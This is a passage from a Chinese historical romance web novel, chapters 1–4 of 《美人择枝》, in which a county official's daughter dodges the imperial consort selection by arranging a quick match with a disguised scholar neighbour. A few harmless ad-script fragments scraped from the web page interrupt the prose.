《美人择枝》 1. 择选 阳春三月，凌烟书坊门前，行人熙攘，绿柳袅袅。 许菱玉钻出轿帘，踏过青石路。 素手轻攥，将莲子白绢纱挑线裙摆提起寸许，轻盈掠过光亮古朴的木质门槛，花纹俏丽的绣鞋惊鸿一瞥，转瞬便被轻悠悠落下的裙面藏起。 丫鬟金钿刚到门槛外，便见自家小姐已熟门熟路往里头去。 经过柜台时，许菱玉冲店主一笑：“胡掌柜，生意兴隆啊。” “借小姐吉言，许小姐好些日子没来了，里边请。”胡掌柜堆笑寒暄，合上账册，吩咐伙计，“去给许小姐和金钿姑娘沏一壶上好的春茶！” 说话间，已绕出柜台，作势要亲自领着金钿去挑北窗临河的好位置。 宁州这地界，上有宁王，下有知府，许菱玉的爹只是宁州城下辖清江县一个小小的八品县丞，不算打眼，她自然远远算不上千金小姐，原不至于劳驾掌柜亲自伺候的。 可许菱玉有钱啊，每次来都是实打实地花银子。 胡掌柜一见她，就像看到白花花的银子飞进店，可不得哄好咯？ 伙计也乐意跑腿，麻利地沏好茶，甚至殷勤摆上两碟上好的点心。 不等许菱玉吩咐，金钿已做主，同往常一样，从荷包里摸出两钱碎银赏他。 再回过头寻小姐，只看见被书架挡住的半边倩影。 而书架两步开外，几张长木条桌旁，手持书卷的年轻书生们，无一不是面庞泛红，目光含痴，望着小姐所在的方向。 金钿随意扫过那些书生的容貌、身形，不由暗自摇头。 她收回视线，提起茶壶，替小姐斟一盏春茶晾着。 许菱玉的亲娘，年轻的时候，便是这清江县里有名的胭脂西施。 她模样随她娘多些，又爱打扮，也有银子打扮，早对这样的目光见惯不怪了，并未在意。 黄杨木书架侧，许菱玉亭亭玉立。 纤巧的下颌微微扬起，目光落在书架上一层，从左往右，徐徐扫过去。 正月里忙着走亲访友，二月又忙铺子里的事，许菱玉确有好一阵子没来书坊了。 方才在菜市桥瓦子听戏时，听说凌烟书坊新进了一批戏文、话本，颇有意趣，许菱玉命金钿赏了台上俊俏武生一枚银锞子，转脚就来了书坊。 凌烟书坊取自李长吉那句“请君暂上凌烟阁，若个书生万户侯”，不过是为激将当今的书生，靠文墨封侯拜相。 是以凌烟书坊内出售、出租的，多是经史子集之类，科举相关的书册。 戏文、话本不算多，悉数摆在许菱玉眼前的这一排书架上。 不过，胜在胡掌柜眼光独到，此处藏书比起别处，文辞更优美雅致些，有趣却不俗气，许菱玉从及笄起，便成了此处的常客。 书架另一侧，传来细微的脚步声，应当是哪位也在找书的书生。 许菱玉目光从熟悉的书名上移过去时，从书册与木架的空隙间，不经意瞥见一扇宽肩。 对方身着月白布衣，正是时下书生们最常见的打扮。 只是身量似乎比寻常书生高些，肩也宽实些，透出一股精神劲儿，无丝毫文弱之感，叫人想起话本中清而韧的文人风骨。 没看到脸，便让人觉得，这大抵不会是个丑模样。 俊俏郎君谁不想多看两眼？ 她素日去瓦子里听戏，也爱去给模样好的武生花旦捧场。 许菱玉心生好奇，踮起足尖，想从高些的书缝间瞥一眼，看看对方的脸配不配得上齐整的身板。 她目光刚移至上一层书架上，余光瞥见什么，目光陡然向右移去，继而顿住，眼眸因骤生的惊喜而格外明亮。 她找着想要的话本了！ 注意力被话本吸引，许菱玉哪还顾得上一介陌生书生？ 许菱玉向右迈开一小步，抬手便去取她瞧中的蓝底话本。 指节厚的话本被她斜斜从书架上取下的一瞬，她眼中惊喜犹在。 猝不及防，撞进一双英隽的眉眼。 惊喜定格一瞬，闪过错愕，辨清对方容颜，眸光不自觉更亮一分。 书架另一侧，那位男子着月白布衣，竟正是她方才无意瞥见的身影。 男子抬起的手臂保持着取书的动作，僵滞间，许菱玉无端觉着，对方惊愕到连呼吸都轻了。 取下一半的书册，将他俊颜遮挡些许，英隽的眉眼便格外引人注目。 他眼型并不锋锐，而是迤逦如桃瓣，因脸庞骨相英朗，才不显阴柔。 乍一看，眼型有些勾人。 细观，眼神却是清正端方，便是这般盯着她，也不会叫人觉得冒犯。 甚至他眼皮一刹的跳动，眼中一闪而逝的错愕，倒让许菱玉觉着，是她惊扰对方更多。 显然，对方在她取下书册的同时，碰巧取下对面的书册。 视线不期然撞在一起，只是巧合。 许菱玉双手将话本环在身前，弯起唇角，冲对方轻道：“惊扰公子了。” 对方没开口，微抿薄唇，长睫规矩地压下些许，略颔首，冲她礼貌致意，便侧过身，不疾不徐朝柜台走去。 许菱玉探首望去，只瞥见那人修长的侧影。 那男子捧着几册书，身姿俊拔，步履从容，说不出的清雅。 从众书生间走过时，宛如白鹤误入鸡群。 许菱玉手中打理着娘留给她的胭脂铺和布庄，自认有几分眼力，对方身上穿的分明是寻常布衣，不像名门贵胄。 至于那周身气度涵养，大抵是腹有诗书气自华了。 顾清嘉把书册放在柜台，掌柜将书册揽到近前，捞过算盘算价钱。 “抹去零头，算你12两3钱银子。”掌柜的说话间，右手状似无意压最上头那册书的封皮上，打量一圈他身上的衣料，神情仍算和气，眼中却多三分迟疑与精明。 顾清嘉看在眼中，神情自若。 略垂眸，长指探入袖袋。 捏到袖袋中的少量铜板、碎银，他动作滞了滞，眉心微动，身姿不自然地绷紧。 钱不够，远远不够。 顾清嘉自幼仆婢环绕，少有需要自己花钱的时候，此番隐姓埋名来宁州，为了不引人注意，他只带了长缨一人随行。 长缨身手好，交待的事情总能办得漂亮。 顾清嘉万万没想到，他们主仆二人，会在这样细枝末节的小事上产生分歧。 他说要扮作最普通的书生，长缨倒是令出惟行，替他从头发丝伪装到钱袋子，无一遗漏。 见顾清嘉呆站着，没拿钱出来，掌柜一看就懂，张嘴欲说两句，被门外急促的脚步声吸引，陡然止住，侧眸望去。 顾清嘉也循声望去。 两名着公服的带到差役已快步迈进门来，一个大声问掌柜，一个推开顾清嘉，往里找寻，行色匆匆。 里头靠窗的位置，许菱玉正品着温热清爽的春茶，借着书架侧半人高的绿植遮挡，欣赏着柜台边那俊朗穷书生的窘迫，犹豫着要不要英雄救美。 看到差役找进来，她唇畔悠然笑意倏而凋落。 又来了！ “小姐！小的们可算找着您了！”差役抹一把额角的汗，焦急央求，“快随小的们回衙门，老爷和县太爷还等着呢。” 正是一年里少有的好时节，不冷不热，差役却跑得汗淋淋的。 许菱玉看得出，她爹这回是真催得急。 “行，我跟你们回去。”许菱玉爽快应。 事情早晚要有个说法，她没为难跑腿的差役。 葱指一松，将别致的青白釉瓷杯轻轻放在桌上，许菱玉款款起身，施施然越过差役朝外走。 经过柜台前不算宽敞的廊道，许菱玉忽而停下脚步，侧身朝金钿摊开手。 金钿心领神会，解下装银钱的茜色荷包，默然而恭顺地放到许菱玉掌心。 顾清嘉脑中快速划过一个念头，面色如常，默默看着。 只见少女随手拈起荷包，纤指翻转间，咚咚几声响，几块大小不一的碎银落在漆亮的柜台上。 碎银滚动的轻响，令顾清嘉眉间微微波动。 他眼睫压下些许，目光从少女捏着茜色荷包，过分白皙细腻的葱指上移开。 “还不快谢谢许小姐慷慨解囊？”掌柜的喜滋滋收着银子，将书册包好递向顾清嘉。 顾清嘉接过书册时，许菱玉已利落地迈出门去。 “多谢许小姐，我会还你银子的。” 许菱玉听到身后传来的清冷男声，脚步微顿。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >这书生虽穷，倒还有几分骨气。 人生得俊朗，声音也好听，瞧着赏心悦目，许菱玉花钱只当买一时高兴，也没想过要他还。 不过，对方既然要还，她也不会嫌银子烫手。 “好啊，等你哪天攒够了，到县衙还我。”许菱玉回眸一笑，语气随意。 清江县里，认得她的人不少，不过许菱玉还是补了一句：“家父许淳，清江县丞。” 言毕，坐进青帷油壁软轿，被差役、丫鬟簇拥着走远。 顾清嘉收回视线，目光幽幽落在手中包好的书册上，若有所思。 八品县丞，芝麻小官，家中女眷排场却是不小。 许小姐灵气逼人，挥金如土。 反观街上来来往往的平民百姓，多是面色愁苦，神情麻木的模样。 强烈反差在脑中变幻，他目光悄然幽沉，情绪难辨。 县衙角门，刚落轿，便有守门的差役跑进去报信。 许菱玉一进门，就见许淳忙不迭迎出来，笑容带着刻意的讨好：“乖女儿，阿玉，你考虑了几日，想好了没有？给爹个准话，你是不是愿意进京待选？” 许淳口中说的进京待选，自然是正月里，当今皇上下令选秀之事。 皇上已过不惑之年，膝下几位成年皇子里，只有太子一人已择正妃。 自太祖皇帝开始，大晋皇子择正妃，皆从六品以下官宦之家择选，以免外戚势大，祸乱朝纲。 同时，也有不问门第，福泽万民之意。 就连当今皇后娘娘，都是太祖亲自为皇上挑选的小官之女。 听说皇后母族如今都能与世家望族结亲了，彻底改换门庭，可谓黄恩浩荡。 许菱玉也是小官之女，芳龄十七，尚未婚配，生得又好，县衙从上到下都认为她是清江县秀女名册上的不二人选。 可这天大的福泽，许菱玉并不想要。 从一开始她就拒绝了，县太爷气得垮起脸拂袖而去，她爹脸色也不好看，追出去哄了县太爷好一会子，又回来哄她。 “乖女儿，这次可是为诸位皇子们择正妃！爹知道你心气儿高，凡夫俗子不能入眼，皇子们可都是人中龙凤，被哪一位贵人看上，都是咱们许家祖坟冒青烟的大喜事儿。你这丫头怎么想的，别人求都求不来的好事，你还不愿意。” 当时，许菱玉听着，左耳进，右耳出，明摆着不当回事。 许淳便站在她身边，苦口婆心继续念叨。 “阿玉，爹养你一场，没有功劳也有苦劳是不是？你就忍心看爹在清江县当一辈子小县丞？爹跟在上峰后面拍马屁，你总嫌弃爹没风骨，你要是成了皇子妃，爹不就能扬眉吐气，不再为了这个家低三下四了？” 那一日，许菱玉听到这番话，抬起眼眸，越过许淳发福的肚腹，忍不住含笑反问：“爹养我一场？爹在县太爷面前摧眉折腰赚的那点儿俸禄，够养女儿吗？” 许菱玉不算听话乖顺的闺女，时常让许淳头疼，所以许淳才先问她愿不愿意，不敢全然替她做主。 可她再不柔顺，也还是头一回对许淳如此大不敬。 许淳盛怒，面色瞬间涨红，又迅速退去血色，变得苍白，他鼻翼扩张，双手握拳，发福的身形微微颤抖。 盯着钗环璀璨，明媚俏丽，极肖亡妻的女儿，许淳双眼涨起血丝。 半晌，许淳狠狠甩一把袍袖，背过身去：“爹都是为你好，你自己好好想想吧！” 过了两日，许淳又像没事人似的来劝她，倒不提什么功劳苦劳之类的话了，一味细数成为皇子正妃的好处。 他姿态放低，许菱玉倒没再戳他肺管子，只道会好好考虑。 于是，她让许淳一直等到了今日。 大抵是选秀名单和画像上交的期限将至，县太爷和许淳才着急让人把她找回来。 环顾四周，没看到县太爷，许菱玉坐到圈椅中，悠闲把玩着绣蝴蝶的梨花绢扇，笑应：“这些日子，女儿已深思熟虑过。” 许菱玉放下绢扇，直面许淳已见岁月沟壑，因满含希冀而泛着红光的方脸，吐词清晰坚定：“我不愿意。” 她无视许淳骤然沉下来的脸色，站起身道：“女儿会尽快择一位顺眼的郎君成亲，到时还请爹爹替我做主。” 2. 雨巷 这几日她一直在琢磨，若想不听许淳的话，若想躲避择选，最好的法子便是挑一位顺眼又听话的郎君迅速出嫁。 她胸无大志，并不想飞上枝头，和世家贵女们争皇子的宠爱。 幽王妃前车之鉴，闹不好最后性命难保。 她只想拿回所有属于娘亲的东西。 等替娘亲报了仇，她便守着眼前的一亩三分地，在清江县过简单安稳的小日子。 只是，挑一位顺眼的郎君，说起来容易，挑起来也不容易。 至少在明确告诉许淳，她的想法之前，许菱玉心中并无合适的人选。 可就在她话音落下的一瞬，脑中竟蓦地浮现出一潭英隽眉眼，一袭月白身影。 那位欠她银子的穷书生，模样倒是挺顺眼的。 鬼使神差的想法，让她不由地驻足愣住。 等了几日，软话硬话都说尽了，却得到他最不想听到的结果，许淳气结，心内连呼几声孽障，嘴上却仍忍着没敢说太重的话。 他快步绕到门口，拦住许菱玉去路，语气无奈，又心浮气躁：“为什么呀？你不是不愿嫁高家那小子吗？难道有别的臭小子拿花言巧语哄你了？” “爹爹莫误会，女儿可不像阿娘当年心思纯善，容易被花言巧语哄骗。”许菱玉抬眸，唇角带着笑意，眼底却是凉薄和讥诮：“昨晚我娘托梦，说我没有富贵命，嫁个普通人方能平安顺遂，否则，恐怕会闯下抄家灭族的大祸。爹爹还执意要女儿去京城吗？” 这么多年，许淳几乎从未主动提起过亡妻，但他知道，有人会告诉女儿。 当年的事，动静不小，根本瞒不住。 女儿恨他，用亡妻来拿捏他，都是他应得的。 可听到女儿的嘲讽，他还是白了脸色，梗着脖子辩解：“当年，爹没哄骗你娘。你长大了，又比旁人更了解爹爹，该学会明辨是非，不要旁人说什么你就信什么。” 至于托梦之说，许淳根本不会信。 亡妻出事那年，女儿才一岁多，尚未记事。 如今，他脑中亡妻的模样也已变得模糊，更别说阿玉了。 “阿玉，宁王爷把马县令叫去，立了军令状，若一个月内不查明丢失药材的下落，马大人定然性命不保。”许淳面色发苦，近乎哀求，“马大人的命都保不住，更别说你爹我了。阿玉，只有你当上皇子妃，帮忙求情，才能救咱们一家老小了。” 丢失药材的事，外头还没传开，但许菱玉时常出入衙门，又有高澍那个大嘴巴在耳边叨叨，她想不知道都难。 那批药材是从关外运进来的，听说其中有一味药能治好太子的病。 可那批药材途经清江县境内的云雾山时，离奇消失，押送药材的精锐横尸云雾山下，还是砍柴的樵夫发现的。 清江县隶属宁州，整个宁州地界都归宁王镇守。 宁王爷是当今皇上的亲弟弟，太子殿下的亲叔父，整个宁州最尊贵的存在。 因着这桩变故，听说亲赴京城请罪。 看来，宁王已带着皇命回到宁州，誓要彻查此案，找回药材。 往常再体恤下官，到了紧要关头，一样以命相挟。 找不回太子的药，天子一怒，势必流血千里。 可药不是她偷的，也不是她弄丢的，马县令和她爹都扛不起的重担，凭什么撂到她肩上？ 许菱玉侧眸瞥一眼自己单薄的肩臂。 她可扛不起。 “女儿福薄，又才疏学浅，性情乖僻，恐怕难担此重任。爹爹与其求我，不如抓紧些，趁早和马大人、高县尉他们一起，好好查案子去。”许菱玉错开一步，面上挂着礼貌的歉意，毫无负担地走出门去。 “孽障！”许淳回身望着那纤瘦倔强的背影，终于忍不住低咒。 许淳想把女儿的名字报上去，可回想几遍许菱玉的话，他又不敢太强硬。 否则，阿玉对他的恨意更深，只怕真敢做出带累全族的事来。 当年不过是夫妻起争执，她娘就想不开，撇下他和刚会走的阿玉，如此烈性。 阿玉的性子，怎么看都是随她娘多些。 许淳抬眼，瞧见一双忙着衔泥筑巢的新燕，长叹一声，迈着沉重的步子，朝马县令的院子走去。 许家的宅院离县衙不远，许菱玉没坐轿子，自己走路回府。 回房换身衣裙出来，便见继母韦氏身边的丫鬟在一旁候着。 看到她出来，殷勤上前问安，笑容谄媚：“太太让奴婢来问问小姐，今日晚膳在不在家里用？想吃什么，太太好吩咐灶房做去。” 韦氏是当家太太，可许家也不是什么大户人家，没那么多讲究，许菱玉从懂事起，就很少与韦氏他们一道用膳。 想吃什么，让金钿去吩咐一声，灶房照样不会怠慢。 从前，许菱玉吃穿用度上，韦氏素来不闻不问，如今倒学会殷勤体贴起来。 许菱玉心如明镜，全因韦氏觉着她能去京城，当上哪位皇子的正妃。 “那就有劳太太了。”许菱玉随口报了几道菜名，个个又费工夫，又费钱。 送上门的肥羊，不宰白不宰。 那丫鬟听得眼皮直跳，许菱玉装作没看见。 待那丫鬟走出院子，许菱玉穿着舒服的家常衣裙，捧着清茶问金钿：“去跟芹姨说一声，明日我去桂花巷小住。” 金钿应声，折身去吩咐，又去收拾明日出门要带的衣物用品。 另有小丫鬟捧了茶水、点心来，皆是许菱玉素日爱吃的口味。 桃花晶糕，粉红剔透，香气怡人。 许菱玉靠在临窗的美人榻上，望着庭院中的绿树红花，吃糕饮茶，琢磨起尽快成亲的事。 脑中再度浮现出书坊里那位俊朗书生。 须臾，许菱玉暗暗摇头。 对方模样是周正，可她也不能只看脸。 听芹姨说，许淳年轻时模样也俊，又会哄人，她娘才会动心，嫁给当年还是穷秀才的许淳。 哦，不，当年许淳家贫，付不起聘金，他是入赘的。 不过，后来，他中了举人，花银子捐了监生，有官身，就变了一副面孔。 就像他的模样，变化也是天翻地覆。 年轻时再俊，如今也与多数中年男人一样，方脸凸肚，与俊美毫不相干。 焉知书坊里那穷书生，往后不会发福变丑？ 但那是以后的事，眼下还是得探探对方底细。 正想着，忽有小丫鬟进来禀：“小姐，高公子来了，说有急事呢。” “让他在花厅等着。”许菱玉说这话时，便知对方不会老实待着。 果然，一息之间，便听院中有熟悉的嗓音喊：“阿玉！太好了，我就知道你是刀子嘴豆腐心，舍不得抛下我的！” 高澍语调夸张，情绪饱满，小丫鬟垂首忍笑，肩膀抖得厉害。 “行了，去给他沏壶茶，越苦越好。”许菱玉含笑吩咐。 高家和许家半斤八两，都是腿上泥点子还没甩干净的小户，许菱玉和高澍又是一起长大的，没有大户人家那么多讲究，她早习惯了对方风风火火来去。 许菱玉看看身上衣裙齐整，并无不妥，便没起身，只是坐直身形， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在腰后多垫了一方绣枕。 刚坐好，高澍已迈步进来。 人高马大，双眼清澈明亮，嗓门也大：“阿玉，许伯伯说你不愿意，你是为了我才拒绝的是不是？” 高澍走到美人榻边，作势要握许菱玉的手，被许菱玉生生避开。 瞥见她嫣润的唇，隐隐闻见桃花糕的甜香，高澍心口莫名鼓噪。 “我明天……”高澍悸动不已，口无遮拦，想说明天就让他娘找媒人来提亲。 话刚出口，便因许菱玉嫌弃的动作戛然而止。 “不是。”许菱玉仰面望他，不客气地否认，“高澍，你怎么光长个子不长脑子，我都说多少次了，对你没有男女之情，咱俩只能当兄弟。” 要说知根知底，她对高澍算是了，她知道高澍小时候的所有糗事，见过高澍被倾巢而出的蜜蜂蛰成猪头的模样。 正因太知根知底，她见到高澍只想笑，没有丝毫遐想。 嫁给高澍？对她而言，简直和嫁给金钿一样匪夷所思。 “可我们不是兄弟啊，你是女子，我是男子，怎么当兄弟？”高澍不乐意，“我不要当你兄弟，我想当你的夫君。” 许菱玉抓起身侧绣如意纹的美人拳，不轻不重捶了一下他脑门儿，笑道：“想你个大头鬼！不愿当我兄弟，那当姐妹也是一样，你是现在赶紧出去，还是我让金钿立刻设香案，按着你义结金兰？” 一阵旋风卷出门槛，许菱玉弯唇朝窗棂外望去，只见高澍双腿跑出残影，几乎是飞着出了院门。 天色暗下来，仆婢忙着掌灯。 许菱玉来到正院，看到膳桌上她点名要吃的菜肴，心情更是愉悦。 就着继母韦氏心痛滴血的眼神，以及许淳的长吁短叹，胃口大开，多吃了半碗晶莹柔润的粳米饭。 桂花巷的院子，是阿娘当年的陪嫁之一。 地段不错，闹中取静，每到秋日，整条巷子都浸润在馥郁的桂花香气里。 院子一直是芹姨打理着，许菱玉及笄后，时常过来小住。 想她阿娘了。这个理由，每每让许淳沉默良久，且无法拒绝。 尤其是在每年清明时节。 今日，墨染云天，细雨落在巷中凹凸不平的青石上，油润如酥。 许菱玉脚步放慢，袅袅娉娉迈进古朴的青灰色门槛。 金钿撑着油纸伞，朝她这边倾斜，小心护着她。 伞边挡住许菱玉的视线，她只顾着同芹姨说话，倒没留意巷尾那户的门阶前，立着两道身影。 顾清嘉便是其中一个。 他本来着急出门办事，走下门口石阶，却定住脚步，迟迟未动。 随从长缨锁好门户，循着他视线望去，只见一绯一碧主仆二人正被迎入一户人家。 油伞遮挡，没瞧见面容，但显然不是主子旧识。 “公子？”长缨疑惑唤。 顾清嘉收回视线，略垂首，箬笠藏起他眉眼，他举步，语气冷淡如常：“走吧。” 经过许菱玉院门前时，顾清嘉压低箬笠，目不斜视，倒是长缨留神扫了一眼。 院门紧闭，贴着微微褪色的门神画，与巷中其他人家并无明显区别。 雨丝如雾，天地一洗，色调清冷如坠水墨丹青。 顾清嘉快步穿过水汽弥漫的雨巷，脑中那身穿浅绯披风，莲步轻移曳入门去的身影，仍清晰。 即便她没露脸，步履仪态也与昨日不同，顾清嘉也几乎能确定，她就是清江县丞许淳之女。 他的债主，许小姐。 “查县丞许淳。”顾清嘉沉声吩咐。 3. 决定 小院里，玉兰花开得正好，似无数只洁白的鸽子翘立着。 许菱玉记得芹姨说过，这株玉兰是她阿娘出嫁前特意让人移栽来的。 除了玉兰，还有院子另一侧的梅花，和那几乎爬满院墙的凌霄花。 阿娘希望这桂花巷的小院，四季皆有花可赏。 昔日，阿娘一定也曾立在树下赏花。 如今，玉兰花树长高长壮许多，枝上花朵皎白繁盛。 家中没有阿娘的画像，许菱玉不记得阿娘模样，但好些旧人都说她生得像阿娘。 她立在芳树下，不禁抬手摸摸脸颊。 驻足片刻，她收起神思，折下一朵白玉兰，簪在鬓边。 解下披风，递给金钿。 接过芹姨备好的线香，亲手点燃，跪在阿娘灵位前。 “阿娘，女儿来看您了。”许菱玉脸上已不见哀伤，而是唇角含笑，语气轻松，“许淳想让女儿进京待选，女儿拒绝了，他似乎很生气。放心，女儿知道阿娘不想见到他，所以没把他气死。” 芹姨在旁听着，眼中本噙着泪，又被她逗笑：“阿玉，你真是……” 她不知该怎么说，阿玉气那个负心汉，她自然是替小姐高兴的。 许菱玉笑着冲芹姨眨眨眼，眼神灵动，邀功似的，仿佛在说“就知道你会高兴”。 得意的神情收敛些许，她又继续望着一尘不染的灵位道：“可是阿娘，女儿待字闺中，若隐匿不报，便是违抗皇命。思来想去，只有尽快找一位顺眼的郎君嫁了，方能摆脱。阿娘，您在天有灵，还请保佑女儿遇见一位容貌俊朗，气质出众，对女儿百依百顺的好郎君！” 芹姨是许菱玉的乳母，亲手把许菱玉带大，当然希望她嫁得好。 只是，要找个各方面都合心意的，还要快，谈何容易？ 自许菱玉及笄起，芹姨就在留意，两年过去也没见着她认为能配上阿玉的。 “阿玉，你可真会给小姐出难题。”芹姨嘴里这样说，自己却忍不住跪到许菱玉身侧软垫上，冲着灵位叩了几个响头，语气比许菱玉还虔诚，“小姐，您可一定要保佑阿玉啊。” 午膳茹素，芹姨和金钿肯花心思，许菱玉一样吃得满足。 用罢午膳，三人坐在屋檐下，品茶听雨，好不自在。 隔壁包大娘来借伞，说是要给她儿子送饭去。 许菱玉含笑唤了声“包大娘”，还让金钿包了几块点心给她：“大娘若不嫌弃，带回去给孩子们当零嘴吧。” 平日芹姨住在此处，打理宅院，包大娘时常来串门。 是以，许菱玉送她点心，包大娘没多推辞，边笑着道谢，边伸手接了。 借到伞，捧着点心，包大娘又多瞧了许菱玉两眼，眼中有挣扎，脚步迟滞。 “包大娘还有事？不妨直言。”许菱玉以为，包大娘是看到她的脸，又想起她娘。 包大娘左思右想，还是觉得不提为好，笑应：“没事，没事，就是听说朝廷又要选秀，阿玉生得这样好，一定有造化，有福气，大娘替你高兴。” 许菱玉没解释，只是笑笑，吩咐金钿：“雨天路滑，你送送包大娘，搀着些。” 待院门合上，许菱玉身姿略前倾，以手支颐，望着雨雾朦胧的庭院，同芹姨打商量：“芹姨，我的婚事最好这两三日便定下来，否则恐怕有些麻烦，我会带着金钿多转转，您也帮着多留心。” 芹姨正琢磨着包大娘方才的眼神，其实她已琢磨出些门道来，只是也有顾虑。 听到许菱玉说两三日就定，她眼皮跳了一跳：“这么急？” “真就不喜欢高家小子？” 见许菱玉果断摇头，芹姨顿了顿，又接着问：“那你孟家表哥呢？” 许菱玉不由失笑：“芹姨，您别逗我了，表哥那唯唯诺诺的性子，事事听舅母的，不昂反驳一句，您知道我绝不会喜欢。” 当年阿娘不幸落水而亡，外祖父承受不住丧女之痛，很快病倒，也跟着去了。 孟家和许家隔着两条人命，从此不相往来。 直到许菱玉长大些，懂事了，才与舅家重新走动。 舅家的人不上许家去，每年清明会来桂花巷，给阿娘上柱香。 许菱玉及笄后，舅母也曾开过她和表哥玩笑，透露亲上加亲之意，但她不愿意，又不想伤亲戚情分，便总是一脸懵懂，假装年纪小还没开窍。 “阿玉，其实你舅母年前明明白白问过我一次，我只说自己是个下人，不敢托大，揣摩主子的心意。她说会亲自问问你的意思，我估计是采选的旨意绊住了她，但你若透露出要成亲的风声，她势必会登门的。”芹姨轻叹一声，语重心长，“表少爷生得是不算俊，好在没有坏心，舅太太另有企图，也是人之常情，但那毕竟是你舅舅家，嫁去他家，总比找个不知底细的草率成婚强些，你说呢？” 许菱玉仍是摇头：“芹姨，不嫁给表哥，我还有个舅舅，若嫁，恐怕就要多个仇人了。” 孩子大了，有自己的主意，芹姨没再劝。 而是话题突转，笑问她：“阿玉，隔壁包大娘是个热络人，最爱窜门子跟人叙话，你猜，左邻右舍给她起了个什么绰号？” 许菱玉一听就猜到了，佯装不知，茫然摇头。 “都叫她包打听！是不是很贴切？她知道，也不恼。”芹姨就此打开话匣子，“她方才盯着你瞧，还说那些吉祥话，其实都是打圆场，我早告诉过她，你不会去京城的。” “她盯着你瞧，你当是什么缘故？”芹姨喝了一口茶润喉，眼睛发亮，“指定是因为巷尾那家新搬进来的俊俏后生。” 听芹姨絮絮叨叨说着，许菱玉惊诧不已。 倒不是惊讶巷尾那家新租客有多俊，而是惊讶于包大娘的消息灵通，人家才搬来不到半个月，包大娘竟将人家中情形打听得一清二楚。 芹姨认得字，但读书不多，几乎是把所有她知道的形容男子的溢美之词，都加在巷尾男子身上。 “哎，就是太穷了些，都没个正经住处，巷尾那院子也只租了一年，往后还不知流落到哪里去呢。”芹姨语气甚为惋惜，“但凡他父母健全，略有些家底，我就请你包大娘帮忙说媒去了。年轻人模样是真好，配得上我们阿玉，你包大娘定也是为这个才犹豫，忍着没提。” 在芹姨看来，父母都不在了，那就是天煞孤星，命硬克死双亲，焉知不会克妻？ 再者，他一个穷书生，家里老本不知够他自己啃几年呢，阿玉若是与他在一起，没半点好处，还得往里搭不少。 怎么想都不合算。 模样再俊，也不能当饭吃，还是便宜别人吧。 “没事，芹姨再帮你留意别的，也请包大娘帮着打听好的。”芹姨宽慰她。 许菱玉听到那人样貌时，只生出些好奇。 听芹姨说完，眼中兴趣越来越浓。 “ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 芹姨，我想见见那位郎君。” 芹姨愣住。 金钿在院门内守了半日，终于在天黑前，看到那家有动静。 “小姐，那家开门了！”金钿平日里性子不急，这会子为了小姐迫在眉睫的婚事，也有了紧迫感。 半个时辰前，雨就停了。 院中青石甬路表面已经半干，只有石头交错的纹路间残留雨水，被灯笼光映得发亮。 吱呀一声，半开的院门被全然推开。 许菱玉快步迈出门槛，立在门廊下，朝巷尾那户人家望去。 只见一位青年男子立在那一处门廊下，正往门口挂灯笼。 灯笼暖黄光晕笼罩下来，照亮空气中浮动的水汽，也为他骨相优越的侧脸镀上一层金辉。 见到真人，方确信芹姨那些溢美之词，不算夸大。 那郎君着实生得俊。 只是，细瞧瞧，似乎有些眼熟？ 许菱玉未及细想，那人已挂好灯笼，许是察觉到她的打量，竟侧眸望过来。 对视的一瞬，许菱玉的思绪仿佛骤然被拉回凌烟书坊那排黄杨木书架旁。 “是你？”许菱玉看清对方容貌，失笑，“竟然是你。” 金钿先是茫然，待许菱玉再度感叹，她才反应过来。 顾清嘉隔着清寒水雾，辨出那鬓边簪着白玉兰，娇俏澄莹，皎皎如玉的女子，眼神微动，面色如常。 长缨仍在外办事，顾清嘉自己出来掌灯，没想到会正巧遇上。 又是巧合，未免太巧了些。 顾清嘉先前见过她进那院子，面上并无太多惊讶。 “许小姐。”顾清嘉躬身施礼，姿态谦谦，俨然一位寻常书生，“小生已在筹措银两，不日便登门归还。” 只是，他气质出尘，立在灯笼光里，越显神清骨秀。 他身上穿着的，分明是再寻常不过的布衣，却衬得他清贵卓然，遗世独立。 午后闲话时，芹姨说什么来着？ 巷尾的俊俏后生，无父无母，伶仃一个，家世清白，话虽不多，但脾性谦和温厚？ 无父无母，好拿捏啊，只要菩萨保佑他考不上功名，他就翻不出她手掌心去。 话不多，脾气好，更是锦上添花。 她想要什么，对方就有什么，可谓为她量身定制的人选！ 时间不等人，先下手为强。 许菱玉决定，就他了！ 感谢阿娘在天之灵保佑，明日她就带上丰厚的贡品，去阿娘坟前祭拜还愿！ 心中无数的念头快速闪过，又尘埃落定，许菱玉面上却只露出适度的喜悦。 “区区小事，公子不必放在心上，没想到与公子还有这样的缘分，既是邻里，往后还请公子多多关照。”许菱玉福身还礼，落落大方，没有丝毫忸怩娇羞。 两家中间，正好隔着包大娘家的院子。 这会子，包大娘在院中打水，将外头两人的客气话听个正着。 原来俩人先前就认识的？那看来没戏。 若有什么苗头，早就有了，也不会等到现在。 包大娘睡前还庆幸，幸好今日她没多嘴。 岂料，翌日天一亮，隔壁老姐妹芹姨搬来好些礼品，包装精致，样样贵重。 “叫我去贾书生家，替你们家阿玉做媒？！”包大娘惊掉下巴。 昨夜阿玉说的多多关照，原来是这么个意思啊？！ 4. 婉拒 昨日，包大娘犹豫迟疑，是因那书生除了模样好，其他都配不上许菱玉。 今日可不一样了，阿玉不讲究门第，也不嫌弃对方孤零零一个，就看上对方样貌了。 包大娘想起芹姨说过，许菱玉并不想去京城攀高枝，只想在清江县踏踏实实过日子。 是以，包大娘琢磨着，许菱玉那边定然是着急把亲事定下来，以免节外生枝。 且芹姨说了，事成之后，另有重谢。 一举三得的大喜事，她还有什么可犹豫的？ 芹姨准备今日便带着厚礼上门，去转达许菱玉的意思。 至于许菱玉她爹许县丞如何考虑，包大娘才不关心，她和芹姨一样，乐得看许县丞吃瘪。 谁让他靠着原配改换门庭，却把原配逼死，又十余年如一日，搜刮民脂民膏的？ 包大娘换上最体面的衣裳，戴上芹姨送来的金簪，鬓边再别一朵红色绢花，收拾得齐整隆重，再携两样礼品，欢欢喜喜去叩贾书生家的大门。 顾清嘉起得早，在院中练武时，便隐约听见隔壁短暂的喧闹与欢喜，他还纳闷，民间百姓会在清明时节办什么喜事？ 沐洗过后，换上干净衣衫，顾清嘉捧一卷书，等着长缨回来禀事。 